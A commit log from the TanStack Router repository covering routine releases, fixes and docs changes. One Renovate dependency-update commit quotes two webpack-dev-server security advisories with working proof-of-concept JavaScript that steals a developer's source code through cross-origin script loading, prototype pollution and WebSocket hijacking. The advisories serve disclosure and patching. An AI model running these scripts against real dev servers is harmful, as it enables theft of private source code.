Tanner Linsley
ceff5a7e8d release: v1.121.20 2025-06-16 21:51:36 +00:00
SeanCassiere
204344575c
ci: include the llms directory 2025-06-17 09:28:51 +12:00
Tanner Linsley
971d17e989 release: v1.121.19 2025-06-16 21:23:50 +00:00
SeanCassiere
c0607fdfcd
ci: use the correct build workflow output 2025-06-17 09:14:18 +12:00
SeanCassiere
6eb4b2b337
ci: restore CI workflow to last known working state 2025-06-17 08:56:30 +12:00
Tanner Linsley
545dd9de3b release: v1.121.18 2025-06-16 20:50:45 +00:00
SeanCassiere
cf6391aeaa
ci: store and restore build artifacts between jobs 2025-06-17 08:42:21 +12:00
Manuel Schiller
5d86e109f3
fix: correctly pass 'create' event to generator for rspack/webpack (#4440) 2025-06-16 19:57:52 +02:00
Manuel Schiller
5cacc14b13
fix: if validate search rewrites search params, issue a server-side redirect (#4439)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-16 19:57:42 +02:00
SeanCassiere
314c94c480
ci: setup config tooling for publishing job 2025-06-16 15:28:45 +12:00
Manuel Schiller
817e3131ab
ci: don't interrupt publishing (#4435) 2025-06-16 01:21:12 +02:00
Tanner Linsley
70d6cbc44e release: v1.121.16 2025-06-15 23:14:10 +00:00
Manuel Schiller
7afdc9a370 fix: remove console.log 2025-06-16 00:54:00 +02:00
Manuel Schiller
c4ff0db2ab
fix: resolve promises before setting them to undefined (#4434) 2025-06-16 00:49:28 +02:00
Tanner Linsley
61a63fedaf release: v1.121.14 2025-06-15 22:30:52 +00:00
Manuel Schiller
a4af7dae1e disable failing test in solid-router 2025-06-16 00:27:42 +02:00
Manuel Schiller
0ce89c3d29
fix: only re-execute beforeLoad if previous run failed (#4433)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-15 23:48:35 +02:00
Manuel Schiller
2a9b4435cd chore: re-generate route tree for examples/e2e tests 2025-06-15 22:36:35 +02:00
Tanner Linsley
c592d9d136 release: v1.121.13 2025-06-14 19:50:37 +00:00
Yeoh Joer
d83b6f28f0
fix: replace backslashes in full paths when generating route nodes (#4430) 2025-06-14 21:43:27 +02:00
Benny Freeman
954c3b2ae6
chore(examples): Some packages are missing in package.json in start-supabase-basic project (#4426) 2025-06-14 16:17:53 +02:00
Tanner Linsley
83560760f0 release: v1.121.12 2025-06-13 22:44:36 +00:00
Manuel Schiller
69448fd4c7
fix: execute server route middleware before SSR (#4423) 2025-06-14 00:38:55 +02:00
Tanner Linsley
0afecadb56 release: v1.121.11 2025-06-13 22:36:32 +00:00
Yeoh Joer
5ad1c376fd
fix: when prerendering, always include the file scheme for the server entrypoint (#4424) 2025-06-14 00:29:58 +02:00
Manuel Schiller
ce8573067b docs: use createFileRoute 2025-06-13 22:02:17 +02:00
Manuel Schiller
1c8a9352fe
docs: remove experimental verboseFileRoutes from docs (#4422) 2025-06-13 21:48:19 +02:00
Tanner Linsley
443fafc2d0 release: v1.121.10 2025-06-13 18:56:02 +00:00
Manuel Schiller
6868e9480a
fix: various fixes (#4420) 2025-06-13 20:54:38 +02:00
Himanshu Kumar Dutt
ee647d8f99
fix broken link in migrate-from-next-js.md (#4415) 2025-06-13 19:46:54 +02:00
Tanner Linsley
475e86ff13 release: v1.121.9 2025-06-13 10:03:53 +00:00
Sean Cassiere
d2fe66637b
fix(router-plugin): codeSplittingOptions.splitBehavior to work with verboseFileRoutes (#4414) 2025-06-13 22:00:03 +12:00
Tanner Linsley
bfc9e1b49e release: v1.121.8 2025-06-13 07:50:25 +00:00
Sean Cassiere
bac5032390
fix(router-devtools-core): make solid-js a dependency (#4412) 2025-06-13 19:48:05 +12:00
Tanner Linsley
9ad13dc1fe release: v1.121.7 2025-06-12 22:28:02 +00:00
Manuel Schiller
fc926bf9d2
fix: router-plugins correctly handle virtual file routes regardless of their location (#4407)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-13 00:26:31 +02:00
Sean Cassiere
a0d9811d90
ci: upgrade to labeler v5 (#4406) 2025-06-13 10:02:29 +12:00
Tanner Linsley
319ad64984 release: v1.121.6 2025-06-12 20:44:06 +00:00
Felix
68be739580
docs(start): use correct import source for createFileRoute in build-from-scratch guide (#4399)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-06-13 08:31:15 +12:00
Manuel Schiller
35a510386f
fix(router-generator): allow standalone export (#4405)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-12 20:31:47 +02:00
Benny Freeman
bab29d0e88
chore(examples): fix duration calculation logic (#4353) 2025-06-12 12:28:10 +12:00
Tanner Linsley
d1e467a462 release: v1.121.5 2025-06-11 23:10:25 +00:00
João Lucas de Oliveira Lopes
b2fa955507
fix(react-router-devtools): remove solid-js as a dependency (#4376) 2025-06-12 10:38:50 +12:00
Himanshu Kumar Dutt
de22e58a87
docs(start): include /api as a Server Routes example (#4375) 2025-06-12 10:38:26 +12:00
Neco
f4e86649c2
docs(start): spa-mode guide to use correct export (#4374) 2025-06-12 10:37:56 +12:00
Tanner Linsley
06865409b6 release: v1.121.4 2025-06-11 22:35:34 +00:00
Valentin Kunz
071ad2cda5
fix(router-plugin): initialise generator within webpack plugin (#4378) 2025-06-12 10:28:41 +12:00
Tanner Linsley
37e5269f3b release: v1.121.3 2025-06-11 19:02:10 +00:00
Karolis Užkuraitis
c75daad9ea
fix(solid-router): Change <Link/>, <Block/> properties to be reactive (#4314)
Change <Link/> and <Block/> elements to use `createMemo` and
`splitProps` to preserve reactivity.
Render children only once / Remove props spreading

#4209

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-06-11 20:47:39 +02:00
Tanner Linsley
0a30ff1601 release: v1.121.2 2025-06-11 18:15:42 +00:00
Manuel Schiller
6837b81b46
fix: make router.hydrate possibly async (#4391) 2025-06-11 20:14:20 +02:00
Tanner Linsley
e22dd57e34 release: v1.121.1 2025-06-11 17:56:36 +00:00
Manuel Schiller
1a4497359b
fix: generator fixes (#4389)
fixes #4383
fixes #4343
2025-06-11 19:53:25 +02:00
autofix-ci[bot]
5893f41aef
ci: apply automated fixes 2025-06-11 17:42:16 +00:00
Harsh Pareek
714c8cf008
docs: Correct createFileRoute import and invocation in Build a Project from Scratch (#4385) 2025-06-11 19:41:11 +02:00
Tanner Linsley
4014a00454 release: v1.121.0 2025-06-10 21:21:01 +00:00
Manuel Schiller
8b5accb27c
feat: Merge alpha to main (#4365)
Co-authored-by: Tanner Linsley <tannerlinsley@gmail.com>
Co-authored-by: Tanner Linsley <tannerlinsley@users.noreply.github.com>
Co-authored-by: Iha Shin (신의하) <me@xiniha.dev>
Co-authored-by: Sean Cassiere <33615041+SeanCassiere@users.noreply.github.com>
Co-authored-by: MoeedDar <moeed.dar@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Saša Šijak <me@ssijak.com>
Co-authored-by: Christopher Horobin <chrishorobin@hotmail.com>
Co-authored-by: Ryan Gillie <gillie.ryan@hotmail.com>
Co-authored-by: Jaga Santagostino <jagasantagostino@gmail.com>
Co-authored-by: Birk Skyum <birk.skyum@pm.me>
Co-authored-by: Yeoh Joer <yeoh.joer@outlook.com>
Co-authored-by: Dane Grant <danecando@gmail.com>
Co-authored-by: Birk Skyum <74932975+birkskyum@users.noreply.github.com>
Co-authored-by: Luis Merino <mail@luismerino.name>
Co-authored-by: ThaumRystra <9525416+ThaumRystra@users.noreply.github.com>
Co-authored-by: Adam Hunter <arhunter@gmail.com>
Co-authored-by: Leonardo Montini <lion.48m@gmail.com>
Co-authored-by: Joel Tannas <jtannas@gmail.com>
Co-authored-by: scarf <greenscarf005@gmail.com>
Co-authored-by: Lenz Weber-Tronic <lorenz.weber-tronic@apollographql.com>
Co-authored-by: Iñaki Larramendi <30437204+ilarramendi@users.noreply.github.com>
Co-authored-by: Hiển Đào Vinh <neo.go.vn@gmail.com>
Co-authored-by: Lleyton W Morris <42259073+ViewableGravy@users.noreply.github.com>
Co-authored-by: Lleyton Morris <lmorris@nexigen.digital>
Co-authored-by: Matthew Struble <matt@vevox.io>
Co-authored-by: Matt Anderson <matt@mattdev.ca>
Co-authored-by: Chung <chungwong@users.noreply.github.com>
Co-authored-by: Maxx Coffee <josh@joshcoffee.dev>
Co-authored-by: Joshua Coffee <joshcoffee@gannett.com>
Co-authored-by: Jack Herrington <jherr@pobox.com>
Co-authored-by: Neeraj Dalal <admin@nrjdalal.com>
Co-authored-by: Thomas Marnet <thomas.marnet@gmail.com>
Co-authored-by: Vianney Carel <vcarel@users.noreply.github.com>
Co-authored-by: Vianney Carel <vianney.carel@logfuse.fr>
Co-authored-by: Diego Rincón <97266392+diegoarff@users.noreply.github.com>
Co-authored-by: Erfan Hosseini <43422324+Erfanhosseini98@users.noreply.github.com>
Co-authored-by: IderAghbal <3328396+IderAghbal@users.noreply.github.com>
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Andrew Jefferson <8148776+eastlondoner@users.noreply.github.com>
2025-06-10 23:19:32 +02:00
renovate[bot]
8315a69583
chore(deps): update autofix-ci/action digest to 635ffb0 (#4349)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| autofix-ci/action | action | digest | `551dded` -> `635ffb0` |

---

### Configuration

📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/TanStack/router).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDAuNDAuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-10 03:04:00 +02:00
Tanner Linsley
6bd2d5a6ce release: v1.120.20 2025-06-08 21:48:52 +00:00
Andrew Jefferson
4b6b2c119a
fix: Slight simplification to llm rule generation now vibe-tools supports esm properly (#4347) 2025-06-08 23:40:42 +02:00
Tanner Linsley
b0cea522e2 release: v1.120.19 2025-06-08 19:52:14 +00:00
Manuel Schiller
1c540355fa
fix: do not start a view transition when invalidating (#4345) 2025-06-08 21:50:54 +02:00
Tanner Linsley
b3682d471d release: v1.120.18 2025-06-06 23:05:46 +00:00
Jack Herrington
760fffe730 fix: Small comment text change to bump version 2025-06-06 15:57:02 -07:00
Tanner Linsley
37e8887930 release: v1.120.17 2025-06-06 22:41:23 +00:00
Jack Herrington
8a2eb21255 fix: RELEASE_ALL 2025-06-06 15:39:54 -07:00
Jack Herrington
be923d9ad1 fix: bumping version 2025-06-06 15:29:33 -07:00
renovate[bot]
27255c6606
chore(deps): update dependency webpack-dev-server to v5.2.1 [security] (#4328)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[webpack-dev-server](https://redirect.github.com/webpack/webpack-dev-server)
| [`5.2.0` ->
`5.2.1`](https://renovatebot.com/diffs/npm/webpack-dev-server/5.2.0/5.2.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/webpack-dev-server/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/webpack-dev-server/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/webpack-dev-server/5.2.0/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/webpack-dev-server/5.2.0/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-30359](https://redirect.github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v)

### Summary
Source code may be stolen when you access a malicious web site.

### Details
Because the request for classic script by a script tag is not subject to
same origin policy, an attacker can inject `<script
src="http://localhost:8080/main.js">` in their site and run the script.
Note that the attacker has to know the port and the output entrypoint
script path. Combined with prototype pollution, the attacker can get a
reference to the webpack runtime variables.
By using `Function::toString` against the values in
`__webpack_modules__`, the attacker can get the source code.

### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18426585/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`
5. You can see the source code output in the document and the devtools
console.


![image](https://redirect.github.com/user-attachments/assets/9d4dcdca-5d24-4c84-a7b4-feb1782bca09)

The script in the POC site is:
```js
let moduleList
const onHandlerSet = (handler) => {
  console.log('h', handler)
  moduleList = handler.require.m
}

const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) => {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
  console.log(moduleList)
  for (const key in moduleList) {
    const p = document.createElement('p')
    const title = document.createElement('strong')
    title.textContent = key
    const code = document.createElement('code')
    code.textContent = moduleList[key].toString()
    p.append(title, ':', document.createElement('br'), code)
    document.body.appendChild(p)
  }
})
document.head.appendChild(script)
```

This script uses the function generated by
[`renderRequire`](3919c844ec/lib/javascript/JavascriptModulesPlugin.js (L1383)).
```js
    // The require function
    function __webpack_require__(moduleId) {
        // Check if module is in cache
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        // Create a new module (and put it into the cache)
        var module = __webpack_module_cache__[moduleId] = {
            // no module.id needed
            // no module.loaded needed
            exports: {}
        };
        // Execute the module function
        var execOptions = {
            id: moduleId,
            module: module,
            factory: __webpack_modules__[moduleId],
            require: __webpack_require__
        };
        __webpack_require__.i.forEach(function(handler) {
            handler(execOptions);
        });
        module = execOptions.module;
        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
        // Return the exports of the module
        return module.exports;
    }
```
Especially, it uses the fact that `Array::forEach` is called for
`__webpack_require__.i` and `execOptions` contains
`__webpack_require__`.
It uses prototype pollution against `Array::forEach` to extract
`__webpack_require__` reference.

### Impact
This vulnerability can result in the source code to be stolen for users
that uses a predictable port and output path for the entrypoint script.

<details>
<summary>Old content</summary>

### Summary
Source code may be stolen when you use [`output.iife:
false`](https://webpack.js.org/configuration/output/#outputiife) and
access a malicious web site.

### Details
When `output.iife: false` is set, some global variables for the webpack
runtime are declared on the `window` object (e.g.
`__webpack_modules__`).
Because the request for classic script by a script tag is not subject to
same origin policy, an attacker can inject `<script
src="http://localhost:8080/main.js">` in their site and run the script.
Note that the attacker has to know the port and the output entrypoint
script path. By running that, the webpack runtime variables will be
declared on the `window` object.
By using `Function::toString` against the values in
`__webpack_modules__`, the attacker can get the source code.

I pointed out `output.iife: false`, but if there are other options that
makes the webpack runtime variables to be declared on the `window`
object, the same will apply for those cases.

### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18409777/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/`
5. Open the devtools console.
6. You can see the content of `src/index.js` and other scripts loaded.


![image](https://redirect.github.com/user-attachments/assets/87801607-57bb-4656-bc0d-2bfbe207f436)

The script in the POC site is:
```js
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
    for (const module in window.__webpack_modules__) {
        console.log(`${module}:`, window.__webpack_modules__[module].toString())
    }
})
document.head.appendChild(script)
```

### Impact
This vulnerability can result in the source code to be stolen for users
that has `output.iife: false` option set and uses a predictable port and
output path for the entrypoint script.

</details>

####
[CVE-2025-30360](https://redirect.github.com/webpack/webpack-dev-server/security/advisories/GHSA-9jgg-88mc-972h)

### Summary
Source code may be stolen when you access a malicious web site with
non-Chromium based browser.

### Details
The `Origin` header is checked to prevent Cross-site WebSocket hijacking
from happening which was reported by CVE-2018-14732.
But webpack-dev-server always allows IP address `Origin` headers.

55220a800b/lib/Server.js (L3113-L3127)
This allows websites that are served on IP addresses to connect
WebSocket.
By using the same method described in [the
article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages)
linked from CVE-2018-14732, the attacker get the source code.

related commit:
72efaab833
(note that `checkHost` function was only used for Host header to prevent
DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based
browsers) users due to [the non-HTTPS private access blocking
feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94).

### PoC
1. Download
[reproduction.zip](https://redirect.github.com/user-attachments/files/18418233/reproduction.zip)
and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `http://{ipaddress}/?target=http://localhost:8080&file=main`
with a non-Chromium browser (I used Firefox 134.0.1)
5. Edit `src/index.js` in the extracted directory
6. You can see the content of `src/index.js`


![image](https://redirect.github.com/user-attachments/assets/7ce3cad7-1a4d-4778-baae-1adae5e93ba4)

The script in the POC site is:
```js
window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
	    console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let file = params.get('file')
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
var currentHash2 = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event.data);
    if (event.data.match('"type":"ok"')) {
        s = document.createElement('script');
        s.src = `${target}${file}.${currentHash2}.hot-update.js`;
        document.body.appendChild(s)
    }
    r = event.data.match(/"([0-9a-f]{20})"/);
    if (r !== null) {
        currentHash2 = currentHash;
        currentHash = r[1];
        console.log(currentHash, currentHash2);
    }
}
```

### Impact
This vulnerability can result in the source code to be stolen for users
that uses a predictable port and uses a non-Chromium based browser.

---

### Release Notes

<details>
<summary>webpack/webpack-dev-server (webpack-dev-server)</summary>

###
[`v5.2.1`](https://redirect.github.com/webpack/webpack-dev-server/blob/HEAD/CHANGELOG.md#521-2025-03-26)

[Compare
Source](https://redirect.github.com/webpack/webpack-dev-server/compare/v5.2.0...v5.2.1)

##### Security

- cross-origin requests are not allowed unless allowed by
`Access-Control-Allow-Origin` header
- requests with an IP addresses in the `Origin` header are not allowed
to connect to WebSocket server unless configured by `allowedHosts` or it
different from the `Host` header

The above changes may make the dev server not work if you relied on such
behavior, but unfortunately they carry security risks, so they were
considered as fixes.

##### Bug Fixes

- prevent overlay for errors caught by React error boundaries
([#&#8203;5431](https://redirect.github.com/webpack/webpack-dev-server/issues/5431))
([8c1abc9](8c1abc903a))
- take the first network found instead of the last one, this restores
the same behavior as 5.0.4
([#&#8203;5411](https://redirect.github.com/webpack/webpack-dev-server/issues/5411))
([ffd0b86](ffd0b86b79))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/TanStack/router).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDAuNDAuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-06 09:22:49 +00:00
Jack Herrington
01b4f00cd1
fix: generating CJS directly for vibe-rules (#4329) 2025-06-06 01:44:02 +02:00
Tanner Linsley
81de1f9b0a release: v1.120.16 2025-06-05 22:08:14 +00:00
Jack Herrington
eedbbba8c8
fix: fixing vibe-rules generation to support CJS exports as well (#4327) 2025-06-06 00:06:01 +02:00
IderAghbal
192ee6246c
fix: export OptionalFetcher and RequiredFetcher types (#4297)
I hit a similar issue to #4001 (ts(2742)) but on pnpm, which requires
exporting the types all the way to the module that gets directly
imported by the application according to
https://github.com/microsoft/TypeScript/issues/47663#issuecomment-1519138189.
This fix resolves this issue.
2025-06-04 18:25:15 +02:00
Erfan Hosseini
d1ed4e1c70
docs: Update preloading.md (#4310) 2025-06-03 21:09:06 +02:00
Diego Rincón
9db424fb5b
docs(router): fix path param name in "data mutation" guide (#4302) 2025-06-03 15:08:01 +12:00
Tanner Linsley
6110bbfd8d release: v1.120.15 2025-06-03 02:49:07 +00:00
Vianney Carel
492b666cc7
fix(router-core): double decoding in qss (#4300)
Co-authored-by: Vianney Carel <vianney.carel@logfuse.fr>
2025-06-03 14:42:17 +12:00
Tanner Linsley
894274cd39 release: v1.120.14 2025-06-03 02:38:31 +00:00
Manuel Schiller
b84e5c77bc
fix: make route HMR handling robust against route deletion (#4292) 2025-06-01 18:15:26 +02:00
Tanner Linsley
c0a6050b89 release: v1.120.13 2025-05-30 15:24:43 +00:00
Thomas Marnet
3f858cb268
fix: scroll to top selectors function (#4281) 2025-05-30 16:49:42 +02:00
Neeraj Dalal
18e24a74a5
docs(start): add project structure to next.js migration guide (#4280) 2025-05-30 23:00:45 +12:00
Neeraj Dalal
dc1d7b9137
docs(start): fix typos in next migration guide (#4276) 2025-05-30 16:12:21 +12:00
Neeraj Dalal
a5208e48b6
docs(start): add migration guide from Next.js (#4260)
Co-authored-by: SeanCassiere <33615041+SeanCassiere@users.noreply.github.com>
2025-05-30 13:20:46 +12:00
Tanner Linsley
d91e63a23d release: v1.120.12 2025-05-29 19:30:33 +00:00
Jack Herrington
000b4f385a
chore: support vibe-rules in react-router (#4263)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-29 21:25:27 +02:00
Maxx Coffee
fdf31ff7c3
fix: Fix devtools when using shadowdom (#4212)
Co-authored-by: Joshua Coffee <joshcoffee@gannett.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-29 21:24:47 +02:00
Chung
1f34687713
docs: Update code-splitting.md (#4267)
Fix code-based splitting example.
Change file name from `// src/posts.tsx` to `// src/posts.lazy.tsx`
2025-05-29 08:20:59 +02:00
Matt Anderson
64eb2c1425
docs: Update RouteOptionsType doc to reflect correct Loader opts (#4265) 2025-05-28 22:35:40 +02:00
Tanner Linsley
52f06b46a0 release: v1.120.11 2025-05-26 22:30:22 +00:00
Matthew Struble
dca754ef8b
fix(react-router): fix custom link type ref inference (#4121)
Custom links created by `createLink` would incorrectly infer `ref`
values for non-intrinsic components (such as those with their own `ref`
prop like the [documented
example](https://tanstack.com/router/latest/docs/framework/react/guide/custom-link#basic-example)),
which would result in the ref being "double-wrapped". That is:

Before:
```typescript
{
  // Effective LinkComponentReactProps<TComp>
  // ...
  ref?: React.Ref<React.Ref<HTMLAnchorElement> | undefined> | undefined
  // notice the ref has been "ref'ed" twice
}
```

After fix:
```typescript
{
  // Effective LinkComponentReactProps<TComp>
  // ...
  ref?: React.Ref<HTMLAnchorElement> | undefined>
}
```

This patch, the equivilant applied directly to `link.d.ts` via `yarn
patch`, has been our workaround and it appears to work well:
<details>
<summary>@tanstack-react-router-npm-1.120.3-f6c72d7c75.patch</summary>

```patch
diff --git a/dist/esm/link.d.ts b/dist/esm/link.d.ts
index f7a4dfc2678f3669ee48b97c22e4c69d2f3ff195..be0adda3bf4302466c3c4b4d73ff6c78474a237f 100644
--- a/dist/esm/link.d.ts
+++ b/dist/esm/link.d.ts
@@ -4,9 +4,9 @@ import { ValidateLinkOptions, ValidateLinkOptionsArray } from './typePrimitives.
 import * as React from 'react';
 export declare function useLinkProps<TRouter extends AnyRouter = RegisteredRouter, const TFrom extends string = string, const TTo extends string | undefined = undefined, const TMaskFrom extends string = TFrom, const TMaskTo extends string = ''>(options: UseLinkPropsOptions<TRouter, TFrom, TTo, TMaskFrom, TMaskTo>, forwardedRef?: React.ForwardedRef<Element>): React.ComponentPropsWithRef<'a'>;
 type UseLinkReactProps<TComp> = TComp extends keyof React.JSX.IntrinsicElements ? React.JSX.IntrinsicElements[TComp] : React.PropsWithoutRef<TComp extends React.ComponentType<infer TProps> ? TProps : never> & React.RefAttributes<TComp extends React.FC<{
-    ref: infer TRef;
+    ref: React.Ref<infer TRef>;
 }> | React.Component<{
-    ref: infer TRef;
+    ref: React.Ref<infer TRef>;
 }> ? TRef : never>;
 export type UseLinkPropsOptions<TRouter extends AnyRouter = RegisteredRouter, TFrom extends RoutePaths<TRouter['routeTree']> | string = string, TTo extends string | undefined = '.', TMaskFrom extends RoutePaths<TRouter['routeTree']> | string = TFrom, TMaskTo extends string = '.'> = ActiveLinkOptions<'a', TRouter, TFrom, TTo, TMaskFrom, TMaskTo> & UseLinkReactProps<'a'>;
 export type ActiveLinkOptions<TComp = 'a', TRouter extends AnyRouter = RegisteredRouter, TFrom extends string = string, TTo extends string | undefined = '.', TMaskFrom extends string = TFrom, TMaskTo extends string = '.'> = LinkOptions<TRouter, TFrom, TTo, TMaskFrom, TMaskTo> & ActiveLinkOptionProps<TComp>;
```

</details>

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-26 20:20:20 +02:00
Lleyton W Morris
bdea54ddf3
docs(router): add route.tsx in directory vs flat routing guide (#4257)
Co-authored-by: Lleyton Morris <lmorris@nexigen.digital>
2025-05-27 00:03:48 +12:00
Tanner Linsley
790016d141 release: v1.120.10 2025-05-24 09:16:38 +00:00
Lenz Weber-Tronic
ef01673dc6
fix: handle Symbol properties and non-enumerable properties in replaceEqualDeep (#4237)
Opening this PR for discussion, I'm very open to scope changes.

This PR tackles two problems with `defaultStructuralSharing: true`:

1. symbol properties are not taken into account for "object equality"
and are not copied over when creating a new copy
2. non-enumerable properties are not taken into account for "object
equality" and are not copied over when creating a new copy

Point 1. actually is causing some of our users a headache, see
https://github.com/apollographql/apollo-client/issues/12619 and
https://community.apollographql.com/t/preloadquery-with-tanstack-router-loader/9100
.

Users expect that they're able to pass an object with symbol properties
over from a loader into components, but when having
`defaultStructuralSharing` enabled, from the second object that is
passed over, it creates a copy and strips off symbol properties.
That new object without the expected symbol properties will then crash
our `useReadQuery` hook.

In other words, the first loader call returns
```js
{
    refObject: { toPromise: Function1, [secretSymbol]: ImplementationDetail1 }
}
```
the component receives
```js
{
    refObject: { toPromise: Function1, [secretSymbol]: ImplementationDetail1 }
}
```
and the second loader call returns
```js
{
    refObject: { toPromise: Function2, [secretSymbol]: ImplementationDetail2 }
}
```
but the component receives
```js
{
    refObject: { toPromise: Function2 }
}
```
`toPromise` is a different function, so it goes into the "clone" path,
but skips the `secretSymbol` property.

If we wouldn't have that `toPromise` property on there (and we're
considering removing it!), it would even be worse to debug - users would
always stay on the first `refObject` and never get the second, since
both objects would be considered equal.

On our side, passing these objects from loaders to components is
actually an intended pattern, so this is causing quite a bit of problems
- see this example from our docs (see [Initiating queries outside
React](https://www.apollographql.com/docs/react/data/suspense#initiating-queries-outside-react)):

```ts
import { useLoaderData } from 'react-router-dom';

export function loader() {
  return preloadQuery(GET_DOGS_QUERY);
}

export function RouteComponent() {
  const queryRef = useLoaderData();
  const { data } = useReadQuery(queryRef);

  return (
    // ...
  );
}
```

Problem 2. is purely hypothetical and we haven't encountered it - but it
should probably be handled in some way.

Both of these problems can be handled in two ways:

* take these "special properties" into account for comparisons and copy
them over (my naive approach here would lose the "non-enumerability" of
these properties, more code would be necessary to keep that)
* in `isPlainObject` just return `false` if an object has non-enumerable
or symbol properties. This would opt out of structural sharing for these
objects (which is probably perfectly fine)

I'd be open for either of those solutions, and also for completely
dropping the "non-enumerable" case for simplicity, but I would be very
happy if we could get *something* in to help with symbol properties.
In React Query, these values can be assumed to be serializable JSON, so
the current implementation is perfectly fine, but with client-side
loaders, users can just pass anything, and here it's causing quite the
problem.
Telling our users to situationally turn off structural sharing would be
an educational nightmare.
2025-05-24 11:01:44 +02:00
Tanner Linsley
63c623b169 docs: fix links 2025-05-24 01:37:04 -06:00
Tanner Linsley
0d7dc76b60 release: v1.120.9 2025-05-23 18:54:28 +00:00
Manuel Schiller
7eba99e328
fix: router.buildLocation use RegisteredRouter (#4242)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-23 20:53:06 +02:00
Tanner Linsley
bd9eb8b3a9 release: v1.120.8 2025-05-23 17:31:26 +00:00
Manuel Schiller
5663aa601b
fix: proper HMR handling for file routes (#4240)
porting from alpha to main

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2025-05-23 19:30:01 +02:00
Tanner Linsley
986fa83e6d release: v1.120.7 2025-05-22 22:27:14 +00:00
